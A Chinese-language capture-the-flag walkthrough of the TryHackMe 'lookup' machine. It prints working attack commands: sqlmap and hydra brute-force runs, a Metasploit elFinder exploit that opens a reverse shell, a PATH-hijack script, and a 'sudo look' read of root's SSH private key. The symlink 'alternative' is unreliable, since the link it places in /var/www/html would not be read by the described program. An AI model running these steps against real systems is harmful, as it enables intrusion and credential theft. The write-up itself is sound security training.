lookup
TryhackMe
字数 3816 2025-10-14 00:33:59
TryHackMe - 「lookup」渗透测试实战教学文档
概述
本教学文档基于TryHackMe的lookup靶机实战。该靶机涉及Web应用安全、漏洞利用和权限提升等多个核心知识点。核心攻击路径包括:通过SQL注入获取初始访问权限,利用路径劫持进行水平提权,最后通过滥用sudo权限实现根权限获取。
目标:获取两个标志性文件:
user.txtroot.txt
技术栈:
- 漏洞利用:SQL注入、本地文件包含(LFI)、路径劫持、sudo权限滥用。
- 工具:
sqlmap,hydra,searchsploit,metasploit,以及基本的Linux命令。
第一阶段:信息收集与初始访问
1. 目标识别与扫描
- 操作:将目标IP地址(
10.201.45.109)与域名lookup.thm绑定,以便通过域名访问。- 命令:
vim /etc/hosts - 添加内容:
10.201.45.109 lookup.thm
- 命令:
- 目的:许多Web应用依赖域名进行虚拟主机配置,直接使用IP可能无法正常访问。
2. Web应用探测与SQL注入
- 发现:目标存在一个登录页面
http://lookup.thm/login.php。 - 漏洞利用:使用
sqlmap对登录表单进行自动化SQL注入检测。- 命令:
sqlmap -u "http://lookup.thm/login.php" --data="username=test&password=test" --method=POST --level=5 --risk=3 --dbs - 参数解释:
--data: 指定POST请求的数据。--level和--risk: 提高检测的强度和广度。--dbs: 尝试枚举数据库。
- 命令:
- 关键发现:
sqlmap提示username参数存在动态响应,表明可能存在注入点。但直接枚举数据库可能受阻,转而采用更直接的方法:爆破用户名和密码。
3. 凭证爆破
- 用户名枚举:通过SQL注入或工具(如
sqlmap的--users选项)发现两个有效用户名:jose和一个未知用户。 - 密码爆破:使用
hydra对用户jose进行密码爆破。- 命令:
hydra -l jose -P xato-net-10-million-passwords-10000.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=Wrong password. Please try again." -t 64 - 参数解释:
http-post-form: 指定基于POST表单的爆破。F=Wrong password...: 指定登录失败时返回的页面特征,hydra据此判断爆破是否成功。
- 命令:
- 结果:成功获取到
jose的密码。
4. 登录与进一步发现
- 操作:使用
jose的凭证登录系统。 - 新目标:登录后,页面提示需要访问
file.lookup.thm。 - 操作:再次修改
/etc/hosts文件,将file.lookup.thm也解析到同一IP。- 添加内容:
10.201.45.109 file.lookup.thm
- 添加内容:
- 重新访问:再次登录后,成功进入应用的主界面。
第二阶段:漏洞利用与获取初始Shell
1. 利用LFI漏洞
- 发现:应用存在本地文件包含漏洞,可能通过参数(如
?page=或?file=)包含服务器上的任意文件。 - 利用:使用
searchsploit查找公开的LFI漏洞利用代码。- 命令:
searchsploit elfinder - 说明:
elfinder是一个常见的Web文件管理器,历史上存在多个LFI和RCE漏洞。
- 命令:
- 自动化利用:使用
metasploit框架中的对应 exploit 模块。- 命令:
msfconsole search elfinder use <对应的exploit模块路径> set rhosts file.lookup.thm set lhost <你的VPN_IP> set lport <监听端口> run
- 命令:
- 结果:成功利用漏洞,获取一个反向Shell,以
www-data用户权限连接到攻击机。
2. 稳定Shell
- 操作:将简单的反向Shell升级为完全交互式的TTY Shell,方便后续操作。
- 命令:
python3 -c 'import pty; pty.spawn("/bin/bash")' - 效果:获得支持标签补全、历史命令等功能的完整Shell。
- 命令:
第三阶段:水平提权(www-data -> think)
1. 枚举系统用户
- 操作:查找可以登录系统的用户。
- 命令:
cat /etc/passwd | grep 'sh$' - 发现:除了
jose和www-data,还存在一个名为think的用户。
- 命令:
2. 发现SUID二进制文件与路径劫持
- 操作:查找具有SUID权限的可执行文件,这些文件可能被利用来提权。
- 命令:
find / -perm /4000 2>/dev/null - 关键发现:发现一个名为
pwm的非标准SUID二进制文件。
- 命令:
- 分析
pwm程序:- 运行:直接执行
pwm。 - 行为观察:程序首先执行
id命令,然后根据id命令的输出(当前用户名),去读取/home/<username>/.passwords文件。
- 运行:直接执行
- 攻击思路 - 路径劫持:
pwm调用了id命令,但没有使用绝对路径(如/usr/bin/id)。- Linux系统通过
PATH环境变量来查找命令。 - 我们可以通过控制
PATH,让系统优先执行我们自定义的恶意id脚本,而不是真正的id命令。
- 攻击步骤:
- 查看当前PATH:
echo $PATH - 创建恶意
id脚本:在/tmp目录下创建一个名为id的脚本,内容为伪造的id命令输出,将用户名伪装成think。echo -e '#!/bin/bash\necho "uid=33(think) gid=33(think) groups=33(think)"' > /tmp/id - 赋予执行权限:
chmod +x /tmp/id - 修改PATH环境变量:让系统先在
/tmp目录下寻找命令。export PATH=/tmp:$PATH - 执行
pwm:再次运行pwm。此时,它会执行我们恶意的/tmp/id脚本,并认为当前用户是think,进而去读取/home/think/.passwords文件。
- 查看当前PATH:
- 结果:成功获取到
think用户的密码(或密码列表)。
3. 切换至think用户
- 操作:使用获取到的密码通过SSH登录到
think用户。- 命令:
hydra -l think -P password.txt ssh://lookup.thm(如果密码是列表) 或直接ssh think@lookup.thm。
- 命令:
- 成果:成功登录,并找到第一个标志文件
user.txt。
第四阶段:垂直提权(think -> root)
1. 枚举sudo权限
- 操作:检查
think用户可以使用sudo执行哪些命令。- 命令:
sudo -l
- 命令:
- 关键发现:
User think may run the following commands on ip-10-201-3-252: (ALL) /usr/bin/look- 这表示
think用户可以以 root权限 运行/usr/bin/look命令。
- 这表示
2. 滥用sudo权限 - 利用look命令读取任意文件
look命令说明:look命令默认在系统中查找以给定字符串开头的单词。但它有一个关键特性:如果指定了文件名,它会读取该文件。- 攻击思路:由于我们可以以root权限运行
look,并且可以指定文件,那么我们就可以读取系统上的任何文件,包括属于root用户的敏感文件。 - 利用方法:
- 读取root的SSH私钥。
- 命令:
sudo /usr/bin/look '' /root/.ssh/id_rsa - 技巧:将查找字符串设为空
'',这样look会读取整个文件内容并输出到屏幕。
- 命令:
- 将输出的私钥内容复制到攻击机的本地文件(例如
root_key)。 - 修改私钥文件权限为600(仅当前用户可读)。
- 命令:
chmod 600 root_key
- 命令:
- 使用此私钥直接以root身份SSH登录目标。
- 命令:
ssh -i root_key root@lookup.thm
- 命令:
- 读取root的SSH私钥。
3. 替代思路(文档中提及的巧妙方法)
在第一次提权(www-data -> think)时,可以提前为root的私钥创建一个符号链接,这样在利用pwm程序时就能直接获取。
- 操作:在获得
www-datashell后,执行:ln -s /root/.ssh/id_rsa /var/www/html/.passwords - 原理:当
pwm程序以root权限(通过路径劫持欺骗后)去读取/home/think/.passwords时,如果此文件不存在,但我们在/var/www/html下创建了符号链接,程序可能会错误地读取到符号链接指向的root私钥。这是一种更巧妙的“一石二鸟”的方法。
最终成果
成功获得root权限,找到第二个标志文件 root.txt,完成整个渗透测试。
知识点总结
- SQL注入:自动化工具
sqlmap的使用是Web渗透的起点。 - 凭证爆破:
hydra是进行网络服务爆破的强大工具。 - 本地文件包含:
searchsploit和metasploit在利用已知漏洞时极其高效。 - Shell稳定化:使用Python快速获取交互式Shell。
- Linux权限提升:
- 路径劫持:当SUID程序调用未指定绝对路径的命令时,通过控制
PATH环境变量实现权限提升。 - SUID权限滥用:
find / -perm /4000是提权枚举的关键命令。 - Sudo权限滥用:
sudo -l必须检查。即使是一个看似无害的命令(如look),如果配置不当(允许以root身份运行且无限制),也能成为读取敏感文件的利器。
- 路径劫持:当SUID程序调用未指定绝对路径的命令时,通过控制
- 符号链接攻击:利用符号链接指向敏感文件,是组合漏洞利用的高级技巧。
这份文档详尽地还原了“lookup”靶机的攻击链,希望对你的学习有所帮助。